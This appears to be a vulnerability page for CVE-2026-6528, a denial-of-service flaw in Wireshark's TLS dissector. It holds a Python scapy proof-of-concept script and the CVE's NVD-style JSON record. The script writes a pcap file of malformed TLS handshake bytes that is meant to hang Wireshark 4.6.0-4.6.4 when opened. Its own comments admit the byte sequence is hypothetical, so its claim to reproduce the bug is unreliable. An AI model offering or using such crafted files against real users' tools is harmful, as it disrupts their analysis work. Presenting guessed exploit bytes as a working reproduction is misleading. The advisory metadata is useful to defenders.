CVE-2026-6528

# Proof of Concept for CVE-2026-6528 (Wireshark Infinite Loop) # This script generates a malformed TLS packet intended to trigger the infinite loop. # Note: The specific malformed byte sequence is hypothetical based on the generic description. from scapy.all import * # Craft a TCP packet ip = IP(dst="127.0.0.1") tcp = TCP(sport=12345, dport=443, flags="PA") # Hypothetical malformed TLS record header/data structure # that causes the parser to loop indefinitely. # Example: A TLS Handshake message with a malformed length field # that the parser tries to re-read incorrectly. malformed_tls_data = ( b'\x16' # Content Type: Handshake (22) b'\x03\x01' # TLS Version 1.0 b'\xff\xff' # Length: 65535 (Large length to potentially cause issues) b'\x01' # Handshake Type: ClientHello b'\x00\x00\xff\xff' # Length again b'A' * 100 # Payload ) pkt = ip/tcp/malformed_tls_data # Save to pcap wrpcap("cve_2026_6528_poc.pcap", [pkt]) print("PoC file generated: cve_2026_6528_poc.pcap") print("Open this file with Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.")

{"cve": {"id": "CVE-2026-6528", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:40.013", "lastModified": "2026-05-01T19:28:42.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TLS protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21147", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21151", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-33.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}